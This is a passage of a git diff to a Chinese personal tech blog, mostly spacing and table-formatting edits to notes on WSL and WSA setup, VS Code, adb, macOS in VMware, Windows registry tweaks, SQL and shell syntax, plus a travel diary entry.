|
||||||
3. 点击双击打开保存在桌面上的 remove_security.bat 文件,代码会自动执行,去除桌面图标上的安全盾标志。
|
3. 点击双击打开保存在桌面上的 remove_security.bat 文件,代码会自动执行,去除桌面图标上的安全盾标志。
|
||||||
|
|
||||||
4. 如果您的Windows系统账户没有管理员权限,请使用管理员权限运行 remove_security.bat 文件。
|
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_security.bat 文件。
|
||||||
|
|
||||||
5. 执行完毕后,命令行窗口会闪一下,随后资源管理器(explorer.exe)会立即自动重启。
|
5. 执行完毕后,命令行窗口会闪一下,随后资源管理器(explorer.exe)会立即自动重启。
|
||||||
|
@ -36,9 +36,9 @@ tags: []
|
|||||||
1. 以管理员身份打开 PowerShell("开始"菜单 >"PowerShell" >右键 >"以管理员身份运行")。
|
1. 以管理员身份打开 PowerShell("开始"菜单 >"PowerShell" >右键 >"以管理员身份运行")。
|
||||||
2. 使用以下命令安装下载的 WSA 包:
|
2. 使用以下命令安装下载的 WSA 包:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
Add-AppxPackage "路径\下载的wsa.Msixbundle"
|
Add-AppxPackage "路径\下载的wsa.Msixbundle"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Windows Subsystem for Linux (WSL)
|
## Windows Subsystem for Linux (WSL)
|
||||||
|
|
||||||
@ -46,16 +46,16 @@ tags: []
|
|||||||
|
|
||||||
1. 以管理员身份打开 PowerShell 并运行:
|
1. 以管理员身份打开 PowerShell 并运行:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
|
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
|
||||||
```
|
```
|
||||||
|
|
||||||
### 二、检查 WSL2 的要求
|
### 二、检查 WSL2 的要求
|
||||||
|
|
||||||
按 Win+R 打开运行,输入 `winver` 检查 Windows 版本要求:
|
按 Win+R 打开运行,输入 `winver` 检查 Windows 版本要求:
|
||||||
|
|
||||||
* 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
|
- 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
|
||||||
* 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
|
- 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
|
||||||
|
|
||||||
### 三、启用虚拟机功能
|
### 三、启用虚拟机功能
|
||||||
|
|
||||||
@ -79,26 +79,26 @@ wsl --set-default-version 2
|
|||||||
|
|
||||||
### 六、安装 Linux 分发版
|
### 六、安装 Linux 分发版
|
||||||
|
|
||||||
1. 访问Microsoft Store,下载想要安装的 Linux 分发版"
|
1. 访问 Microsoft Store,下载想要安装的 Linux 分发版"
|
||||||
2. 切换到 root 用户登录(如需):
|
2. 切换到 root 用户登录(如需):
|
||||||
|
|
||||||
在 PowerShell 中运行
|
在 PowerShell 中运行
|
||||||
|
|
||||||
1. 获取linux名称
|
1. 获取 linux 名称
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wsl --list
|
wsl --list
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 切换root用户
|
2. 切换 root 用户
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
指定的Linux分发版 config --default-user root
|
指定的Linux分发版 config --default-user root
|
||||||
```
|
```
|
||||||
|
|
||||||
## 常见问题处理
|
## 常见问题处理
|
||||||
|
|
||||||
* **关闭 WSL 自动挂载 Windows 分区**:
|
- **关闭 WSL 自动挂载 Windows 分区**:
|
||||||
编辑 WSL 配置文件 `/etc/wsl.conf` 并添加内容以禁用自动挂载和 Windows 路径的添加。
|
编辑 WSL 配置文件 `/etc/wsl.conf` 并添加内容以禁用自动挂载和 Windows 路径的添加。
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@ -111,19 +111,18 @@ wsl --set-default-version 2
|
|||||||
enabled = false
|
enabled = false
|
||||||
```
|
```
|
||||||
|
|
||||||
* **解决无法定位 package screen 的问题**:
|
- **解决无法定位 package screen 的问题**:
|
||||||
在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。
|
在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。
|
||||||
* **WSL 卸载**:
|
- **WSL 卸载**:
|
||||||
查看已安装的 WSL 环境并卸载指定的 Linux 分发版。
|
查看已安装的 WSL 环境并卸载指定的 Linux 分发版。
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wsl --unregister 指定的Linux分发版
|
wsl --unregister 指定的Linux分发版
|
||||||
```
|
```
|
||||||
|
|
||||||
* **解决 WSLRegisterDistribution 错误**:
|
- **解决 WSLRegisterDistribution 错误**:
|
||||||
在 PowerShell 中运行
|
在 PowerShell 中运行
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
|
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
|
||||||
```
|
```
|
||||||
|
|
69
src/content/技术日志/windows/vscode配置.md
Normal file
69
src/content/技术日志/windows/vscode配置.md
Normal file
@ -0,0 +1,69 @@
|
|||||||
|
---
|
||||||
|
title: "vscode配置"
|
||||||
|
date: 2025-04-19T11:10:57+08:00
|
||||||
|
tags: []
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 自动补全,语法检查
|
||||||
|
|
||||||
|
| 语言 | 插件 |
|
||||||
|
| -------- | ---------------------------------------------------------------------------------------------------------- |
|
||||||
|
| rust | [rust-analyzer](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer) |
|
||||||
|
| tailwind | [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss) |
|
||||||
|
| markdown | [markdownlint](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint) |
|
||||||
|
| toml | [Even Better TOML](https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml) |
|
||||||
|
|
||||||
|
## 格式化
|
||||||
|
|
||||||
|
### 格式化插件
|
||||||
|
|
||||||
|
| 插件 | 格式化言语 |
|
||||||
|
| ------------------------------------------------------------------------------------------------ | ------------------- |
|
||||||
|
| [prettier](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode) | js,md,css,html,yaml |
|
||||||
|
| [Black Formatter](https://marketplace.visualstudio.com/items?itemName=ms-python.black-formatter) | python |
|
||||||
|
| [shell-format](https://marketplace.visualstudio.com/items?itemName=foxundermoon.shell-format) | shell |
|
||||||
|
|
||||||
|
### 保存自动格式化
|
||||||
|
|
||||||
|
`settings.json`增加以下代码
|
||||||
|
|
||||||
|
```txt
|
||||||
|
"editor.formatOnSave": true // 保存时自动规范代码
|
||||||
|
```
|
||||||
|
|
||||||
|
## 其他
|
||||||
|
|
||||||
|
| 名称 | 作用 |
|
||||||
|
| ----------------------------------------------------------------------------------------------------------------------------- | ---------------------- |
|
||||||
|
| [Atom Material Icons](https://marketplace.visualstudio.com/items?itemName=AtomMaterial.a-file-icon-vscode) | 美化图标 |
|
||||||
|
| [Atom One Dark Theme](https://marketplace.visualstudio.com/items?itemName=akamud.vscode-theme-onedark) | 美化主题 |
|
||||||
|
| [Live Preview](https://marketplace.visualstudio.com/items?itemName=ms-vscode.live-server) | 提供在线预览web项目 |
|
||||||
|
| [Markdown Preview Github Styling](https://marketplace.visualstudio.com/items?itemName=bierner.markdown-preview-github-styles) | 提供markdown代码块样式 |
|
||||||
|
| [Chinese (Simplified)](https://marketplace.visualstudio.com/items?itemName=MS-CEINTL.vscode-language-pack-zh-hans) | 简体中文语言包 |
|
||||||
|
|
||||||
|
## 非html文件中启用tailwind高亮提示
|
||||||
|
|
||||||
|
### 安装高亮插件
|
||||||
|
|
||||||
|
- [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss)
|
||||||
|
- [PostCSS Language Support](https://marketplace.visualstudio.com/items?itemName=csstools.postcss)
|
||||||
|
|
||||||
|
### 启动高亮配置
|
||||||
|
|
||||||
|
>以rust为例
|
||||||
|
|
||||||
|
修改`setting.json`文件
|
||||||
|
|
||||||
|
```json
|
||||||
|
// 配置识别的正则表达式
|
||||||
|
"tailwindCSS.experimental.classRegex": [
|
||||||
|
"class:\\s?\"(.*?)\"",
|
||||||
|
"class:\\s?format!\\((\"(.*?)\")\\)"
|
||||||
|
],
|
||||||
|
// 配置识别的语言
|
||||||
|
"tailwindCSS.includeLanguages": {
|
||||||
|
"rust": "html"
|
||||||
|
},
|
||||||
|
```
|
@ -4,29 +4,29 @@ date: 2021-08-12T20:27:00+08:00
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## 1. 下载adb工具
|
## 1. 下载 adb 工具
|
||||||
|
|
||||||
(1) 打开Android开发网,搜索"SDK Platform Tools",打开如下所示的[网站][1],可以看到有Windows\Mac\Linux三个版本的SDK Platform Tools,点击符合你电脑的版本下载它。adb工具就包含在这个工具中。
|
(1) 打开 Android 开发网,搜索"SDK Platform Tools",打开如下所示的[网站][1],可以看到有 Windows\Mac\Linux 三个版本的 SDK Platform Tools,点击符合你电脑的版本下载它。adb 工具就包含在这个工具中。
|
||||||
|
|
||||||
(2) 如果打不开Android开发网,则需要魔法,确保能访问Google之后再来下载和安装adb。
|
(2) 如果打不开 Android 开发网,则需要魔法,确保能访问 Google 之后再来下载和安装 adb。
|
||||||
或者在一些第三方的网站上下载SDK Platform Tools。
|
或者在一些第三方的网站上下载 SDK Platform Tools。
|
||||||
|
|
||||||
(3) 站长提供的[platform-tools_r31.0.3-windows][2]蓝奏云下载
|
(3) 站长提供的[platform-tools_r31.0.3-windows][2]蓝奏云下载
|
||||||
|
|
||||||
## 2. adb安装和配置
|
## 2. adb 安装和配置
|
||||||
|
|
||||||
(1) SDK Platform Tools下载后,在"platform-tools"路径下可以看到三个adb相关的文件。现在需要将这个路径添加到系统环境变量中。
|
(1) SDK Platform Tools 下载后,在"platform-tools"路径下可以看到三个 adb 相关的文件。现在需要将这个路径添加到系统环境变量中。
|
||||||
|
|
||||||
(2) 添加环境变量:
|
(2) 添加环境变量:
|
||||||
|
|
||||||
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑Path,将步骤3个文件所在路径添加到Path变量值中。最后点击"确定"。
|
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑 Path,将步骤 3 个文件所在路径添加到 Path 变量值中。最后点击"确定"。
|
||||||
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑Path
|
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑 Path
|
||||||
|
|
||||||
(3) 重新打开一个cmd窗口,输入adb,可以看到如下的窗口,有显示adb的版本和用法,这就说明adb正确安装好啦。
|
(3) 重新打开一个 cmd 窗口,输入 adb,可以看到如下的窗口,有显示 adb 的版本和用法,这就说明 adb 正确安装好啦。
|
||||||
|
|
||||||
## 3. 下载驱动
|
## 3. 下载驱动
|
||||||
|
|
||||||
去谷歌中国开发者网站上下载oem usb驱动程序,并在设备管理器选择正确的驱动程序
|
去谷歌中国开发者网站上下载 oem usb 驱动程序,并在设备管理器选择正确的驱动程序
|
||||||
驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3]
|
驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3]
|
||||||
|
|
||||||
[1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en
|
[1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en
|
||||||
|
@ -4,29 +4,29 @@ date: 2023-12-15T20:53:00Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## 一、安装VMware Workstation Pro
|
## 一、安装 VMware Workstation Pro
|
||||||
|
|
||||||
官方下载链接: [VMware Workstation Pro](https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html)
|
官方下载链接: [VMware Workstation Pro](https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html)
|
||||||
激活教程: 百度
|
激活教程: 百度
|
||||||
|
|
||||||
## 二、unlocker解锁VM以支持macOS系统
|
## 二、unlocker 解锁 VM 以支持 macOS 系统
|
||||||
|
|
||||||
下载链接: [Unlocker Releases](https://github.com/DrDonk/unlocker/releases)
|
下载链接: [Unlocker Releases](https://github.com/DrDonk/unlocker/releases)
|
||||||
|
|
||||||
1. 完全关闭VMware
|
1. 完全关闭 VMware
|
||||||
2. 下载完成后,解压压缩包,右键点击`windows/unlock.exe`,选择以管理员模式运行。
|
2. 下载完成后,解压压缩包,右键点击`windows/unlock.exe`,选择以管理员模式运行。
|
||||||
3. 提示`press enter key to continue`说明安装成功
|
3. 提示`press enter key to continue`说明安装成功
|
||||||
|
|
||||||
## 三.下载 `macOS Recovery` 镜像
|
## 三.下载 `macOS Recovery` 镜像
|
||||||
|
|
||||||
> macOS Recovery模式可以用来给mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
|
> macOS Recovery 模式可以用来给 mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
|
||||||
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入macOS Recovery模式。
|
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入 macOS Recovery 模式。
|
||||||
|
|
||||||
### 1. 下载python(如果有可以跳过)
|
### 1. 下载 python(如果有可以跳过)
|
||||||
|
|
||||||
Python官方下载地址:[Python下载地址](https://www.python.org/downloads/)
|
Python 官方下载地址:[Python 下载地址](https://www.python.org/downloads/)
|
||||||
|
|
||||||
Microsoft下载地址: [Microsoft下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
|
Microsoft 下载地址: [Microsoft 下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
|
||||||
|
|
||||||
### 2. 下载 macOS Recovery 镜像
|
### 2. 下载 macOS Recovery 镜像
|
||||||
|
|
||||||
@ -44,24 +44,24 @@ curl -OL https://raw.githubusercontent.com/acidanthera/OpenCorePkg/master/Utilit
|
|||||||
python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download
|
python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download
|
||||||
```
|
```
|
||||||
|
|
||||||
> 下载完成后,可以看到当前文件夹多出了一个com.apple.recovery.boot
|
> 下载完成后,可以看到当前文件夹多出了一个 com.apple.recovery.boot
|
||||||
>
|
>
|
||||||
> 文件夹,打开之后有一个BaseSystem.dmg
|
> 文件夹,打开之后有一个 BaseSystem.dmg
|
||||||
>
|
>
|
||||||
> 文件,这就是macOSRecovery镜像;但是此镜像不能直接用来引导虚拟机,需要转换一下格式才能用来引导虚拟机。
|
> 文件,这就是 macOSRecovery 镜像;但是此镜像不能直接用来引导虚拟机,需要转换一下格式才能用来引导虚拟机。
|
||||||
|
|
||||||
下载macOSRecovery镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
|
下载 macOSRecovery 镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
|
||||||
|
|
||||||
### 3. 转换 macOS Recovery 镜像
|
### 3. 转换 macOS Recovery 镜像
|
||||||
|
|
||||||
镜像需要用到 qemu-img 工具
|
镜像需要用到 qemu-img 工具
|
||||||
下载链接: [QEMU下载链接](https://qemu.weilnetz.de/w64/)
|
下载链接: [QEMU 下载链接](https://qemu.weilnetz.de/w64/)
|
||||||
|
|
||||||
#### Ⅰ. 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装
|
#### Ⅰ. 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装
|
||||||
|
|
||||||
安装完毕后,和之前打开命令行的方法一样,打开cmd命令行进入`com.apple.recovery.boot`文件夹
|
安装完毕后,和之前打开命令行的方法一样,打开 cmd 命令行进入`com.apple.recovery.boot`文件夹
|
||||||
|
|
||||||
Ⅱ. 打开此路径后,如果qemu-w64是默认安装就输入
|
Ⅱ. 打开此路径后,如果 qemu-w64 是默认安装就输入
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
c:\"Program Files"\qemu\qemu-img convert -O vmdk -o compat6 BaseSystem.dmg recovery.vmdk
|
c:\"Program Files"\qemu\qemu-img convert -O vmdk -o compat6 BaseSystem.dmg recovery.vmdk
|
||||||
@ -85,11 +85,11 @@ CPU配置,处理器数量:1,内核数量:自定义
|
|||||||
|
|
||||||
## 五.设置引导硬盘
|
## 五.设置引导硬盘
|
||||||
|
|
||||||
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的recovery.vmdk->选择保持原有格式->然后保存
|
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的 recovery.vmdk->选择保持原有格式->然后保存
|
||||||
|
|
||||||
## 六.开始安装
|
## 六.开始安装
|
||||||
|
|
||||||
### 1.打开VMWare虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面
|
### 1.打开 VMWare 虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面
|
||||||
|
|
||||||
### 2.选择语言
|
### 2.选择语言
|
||||||
|
|
||||||
@ -102,9 +102,9 @@ CPU配置,处理器数量:1,内核数量:自定义
|
|||||||
|
|
||||||
## 七.安装完成之后
|
## 七.安装完成之后
|
||||||
|
|
||||||
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
|
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
|
||||||
|
|
||||||
## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机
|
## vmware 安装苹果虚拟机卡在苹果图标位置不动或者最新 AMD 客户机操作系统已禁用 CPU。请关闭或重置虚拟机
|
||||||
|
|
||||||
修改虚拟机目录下`macOS 13.vmx`文件末尾加入
|
修改虚拟机目录下`macOS 13.vmx`文件末尾加入
|
||||||
|
|
||||||
|
@ -8,15 +8,15 @@ tags: []
|
|||||||
|
|
||||||
1. 切换回经典右键菜单:
|
1. 切换回经典右键菜单:
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve
|
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 恢复到新版右键菜单(不建议执行):
|
2. 恢复到新版右键菜单(不建议执行):
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f
|
reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f
|
||||||
```
|
```
|
||||||
|
|
||||||
然后,按下 Win+E 打开 Windows 资源管理器,接着按下 Ctrl+Shift+Esc 打开任务管理器,找到并重启 Windows 资源管理器。
|
然后,按下 Win+E 打开 Windows 资源管理器,接着按下 Ctrl+Shift+Esc 打开任务管理器,找到并重启 Windows 资源管理器。
|
||||||
|
|
||||||
|
@ -6,17 +6,17 @@ tags: []
|
|||||||
|
|
||||||
## 问题描述
|
## 问题描述
|
||||||
|
|
||||||
本人在安装Windows 10操作系统的过程中遭遇断电,导致安装中断。再次进行安装一直报上面的错误。
|
本人在安装 Windows 10 操作系统的过程中遭遇断电,导致安装中断。再次进行安装一直报上面的错误。
|
||||||
|
|
||||||
已尝试网上盛传的方法,使用Shift+F10打开命令行,进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
|
已尝试网上盛传的方法,使用 Shift+F10 打开命令行,进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
|
||||||
|
|
||||||
## 解决方法
|
## 解决方法
|
||||||
|
|
||||||
1. 按Shift+F10打开命令行窗口。
|
1. 按 Shift+F10 打开命令行窗口。
|
||||||
2. 输入`regedit`以打开注册表编辑器。
|
2. 输入`regedit`以打开注册表编辑器。
|
||||||
3. 在注册表编辑器中找到路径`HKEY_LOCAL_MACHINE/SYSTEM/SETUP/STATUS/ChildCompletion`。
|
3. 在注册表编辑器中找到路径`HKEY_LOCAL_MACHINE/SYSTEM/SETUP/STATUS/ChildCompletion`。
|
||||||
4. 在`ChildCompletion`下找到名为`SETUP.EXE`的项,双击它。
|
4. 在`ChildCompletion`下找到名为`SETUP.EXE`的项,双击它。
|
||||||
5. 修改数值数据从1修改为3,然后点击确定。
|
5. 修改数值数据从 1 修改为 3,然后点击确定。
|
||||||
6. 关闭注册表编辑器。
|
6. 关闭注册表编辑器。
|
||||||
7. 重新点击错误消息框的"确定"按钮。
|
7. 重新点击错误消息框的"确定"按钮。
|
||||||
8. 电脑将自动重启,重新解析安装包再次进入安装系统。
|
8. 电脑将自动重启,重新解析安装包再次进入安装系统。
|
||||||
|
@ -28,7 +28,7 @@ tags: []
|
|||||||
|
|
||||||
国外的公交车不适合i人,我打算从布城从地铁到市中心,需要先坐公交车到布城去,差10秒就赶上了,但是站台没人所以公交车司机没有停,第二次在休息区等了半个小时司机又没停,可能是司机没看到我吧,第三次我站在公交车站台等车的位置等待可是他还是没停,这次可能是没有给司机信号,第四次等公交车快到的时候我死死的看着司机,与他建立心灵链接,但他还是不停,浏览器查询原来要招手,用打车软件看了一下两公里,还是选择打车了
|
国外的公交车不适合i人,我打算从布城从地铁到市中心,需要先坐公交车到布城去,差10秒就赶上了,但是站台没人所以公交车司机没有停,第二次在休息区等了半个小时司机又没停,可能是司机没看到我吧,第三次我站在公交车站台等车的位置等待可是他还是没停,这次可能是没有给司机信号,第四次等公交车快到的时候我死死的看着司机,与他建立心灵链接,但他还是不停,浏览器查询原来要招手,用打车软件看了一下两公里,还是选择打车了
|
||||||
|
|
||||||
在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,酒店的位置和平台给的地址不同还好遇到一个好心的印度男人,打电话和酒店交流,告诉我酒店在哪里
|
在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,历经大雨来到谷歌地图显示的位置,却找不到酒店,找了一个印度男人问路,他也找不到,他给酒店客服打电话后,告诉我不在这个区域,给我指路,往哪走再往哪走到一个塔下快到了问问别人,我一点没记住好在用高德地图重新导航,竟然没问题。
|
||||||
|
|
||||||
晚餐找了家本地人多的店,点了一个大虾饭,没想到是正宗印度菜,`米饭味道=70%八角+20%洗衣服+10%辣椒`
|
晚餐找了家本地人多的店,点了一个大虾饭,没想到是正宗印度菜,`米饭味道=70%八角+20%洗衣服+10%辣椒`
|
||||||
|
|
||||||
|
@ -12,13 +12,13 @@ tags: []
|
|||||||
|
|
||||||
创建
|
创建
|
||||||
|
|
||||||
````
|
````sql
|
||||||
create funcition 函数名(@参数 类型)
|
create funcition 函数名(@参数 类型)
|
||||||
returns 类型
|
returns 类型
|
||||||
as
|
as
|
||||||
begin
|
begin
|
||||||
条件
|
条件
|
||||||
return 值
|
return 值
|
||||||
end
|
end
|
||||||
````
|
````
|
||||||
|
|
||||||
@ -28,28 +28,28 @@ end
|
|||||||
|
|
||||||
#### 方案一(处理复杂逻辑,函数体除了sql查询之外还有其他逻辑代码)
|
#### 方案一(处理复杂逻辑,函数体除了sql查询之外还有其他逻辑代码)
|
||||||
|
|
||||||
````
|
````sql
|
||||||
create function 函数名(@参数 类型)
|
create function 函数名(@参数 类型)
|
||||||
returns @表名 table
|
returns @表名 table
|
||||||
(
|
(
|
||||||
数据结构
|
数据结构
|
||||||
)
|
)
|
||||||
as
|
as
|
||||||
begin
|
begin
|
||||||
insert into @表名
|
insert into @表名
|
||||||
条件
|
条件
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
````
|
````
|
||||||
|
|
||||||
#### 方案二(只能return+sql查询结果)
|
#### 方案二(只能return+sql查询结果)
|
||||||
|
|
||||||
````
|
````sql
|
||||||
create function 函数名(@参数 类型)
|
create function 函数名(@参数 类型)
|
||||||
return table
|
return table
|
||||||
as
|
as
|
||||||
return
|
return
|
||||||
条件
|
条件
|
||||||
go
|
go
|
||||||
````
|
````
|
||||||
|
|
||||||
|
@ -35,5 +35,4 @@ select @变量名=值
|
|||||||
|
|
||||||
### go
|
### go
|
||||||
|
|
||||||
1.等待go语句之前的代码执行完之后才能执行后面的代码
|
1.等待 go 语句之前的代码执行完之后才能执行后面的代码 2.批处理结束的一个标志
|
||||||
2.批处理结束的一个标志
|
|
||||||
|
@ -36,7 +36,7 @@ alter table 表名 add constraint 约束名 primary key(列名)
|
|||||||
|
|
||||||
#### 唯一
|
#### 唯一
|
||||||
|
|
||||||
alter table 表名 add constraint 约束名unique(列名)
|
alter table 表名 add constraint 约束名 unique(列名)
|
||||||
|
|
||||||
#### 默认值
|
#### 默认值
|
||||||
|
|
||||||
|
@ -3,6 +3,7 @@ title: 触发器
|
|||||||
date: 2024-06-06T23:51:43Z
|
date: 2024-06-06T23:51:43Z
|
||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## instead of(事前触发器)
|
## instead of(事前触发器)
|
||||||
|
|
||||||
## After(事后触发器)
|
## After(事后触发器)
|
||||||
|
@ -4,12 +4,11 @@ date: 2024-06-06T23:51:36Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
$n
|
$n
|
||||||
|
|
||||||
> n代表数字,$1-$9代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10}
|
> n 代表数字,$1-$9 代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10}
|
||||||
|
|
||||||
$*
|
$\*
|
||||||
|
|
||||||
> 代表命令行中的所有参数(所有参数当作一个整体)
|
> 代表命令行中的所有参数(所有参数当作一个整体)
|
||||||
|
|
||||||
|
@ -8,17 +8,17 @@ tags: []
|
|||||||
|
|
||||||
## 系统变量
|
## 系统变量
|
||||||
|
|
||||||
|变量|作用|
|
| 变量 | 作用 |
|
||||||
| ------| --------------------------------------|
|
| --------------- | ------------------------------------ |
|
||||||
|`$USER`|当前用户的用户名|
|
| `$USER` | 当前用户的用户名 |
|
||||||
|`$HOME`|当前用户的家目录|
|
| `$HOME` | 当前用户的家目录 |
|
||||||
|`$PATH`|包含可执行文件的目录列表,用冒号分隔|
|
| `$PATH` | 包含可执行文件的目录列表,用冒号分隔 |
|
||||||
|`$PWD`|当前工作目录的路径|
|
| `$PWD` | 当前工作目录的路径 |
|
||||||
|`$SHELL`|当前正在使用的 Shell 的路径|
|
| `$SHELL` | 当前正在使用的 Shell 的路径 |
|
||||||
|`$?`|表示上一个命令的退出状态|
|
| `$?` | 表示上一个命令的退出状态 |
|
||||||
|`$$`|表示当前Shell进程的PID(进程ID)|
|
| `$$` | 表示当前 Shell 进程的 PID(进程 ID) |
|
||||||
|`$#`|表示传递给脚本的位置参数的数量|
|
| `$#` | 表示传递给脚本的位置参数的数量 |
|
||||||
|`$1, $2, ...`|用于访问传递给脚本的参数|
|
| `$1, $2, ...` | 用于访问传递给脚本的参数 |
|
||||||
|
|
||||||
## 定义变量
|
## 定义变量
|
||||||
|
|
||||||
@ -46,7 +46,7 @@ unset 变量
|
|||||||
|
|
||||||
``=$()
|
``=$()
|
||||||
例如
|
例如
|
||||||
A=`ls -l`等于A=$(ls -l)
|
A=`ls -l`等于 A=$(ls -l)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -4,72 +4,71 @@ date: 2024-06-06T23:51:45Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
### 基本和高级条件表达式操作符
|
### 基本和高级条件表达式操作符
|
||||||
|
|
||||||
|符号|作用|
|
| 符号 | 作用 |
|
||||||
| ------| -------------------------------------------------------------------------|
|
| -------- | ----------------------------------------------------------------------- |
|
||||||
|`{}`|代码块,不创建新的子shell,用于组织一系列的命令|
|
| `{}` | 代码块,不创建新的子 shell,用于组织一系列的命令 |
|
||||||
|`()`|创建一个子shell,并在其中执行命令|
|
| `()` | 创建一个子 shell,并在其中执行命令 |
|
||||||
|`[[]]`|执行高级条件表达式,支持模式匹配、正则表达式等|
|
| `[[]]` | 执行高级条件表达式,支持模式匹配、正则表达式等 |
|
||||||
|`$`|用于变量引用、命令替换、算术运算等|
|
| `$` | 用于变量引用、命令替换、算术运算等 |
|
||||||
|`\|`|管道运算符,将一个命令的输出作为另一个命令的输入|
|
| `\|` | 管道运算符,将一个命令的输出作为另一个命令的输入 |
|
||||||
|`!`|逻辑非运算符,用于否定一个条件表达式的结果|
|
| `!` | 逻辑非运算符,用于否定一个条件表达式的结果 |
|
||||||
|`&&`|逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令|
|
| `&&` | 逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令 |
|
||||||
|`\|\|`|逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令|
|
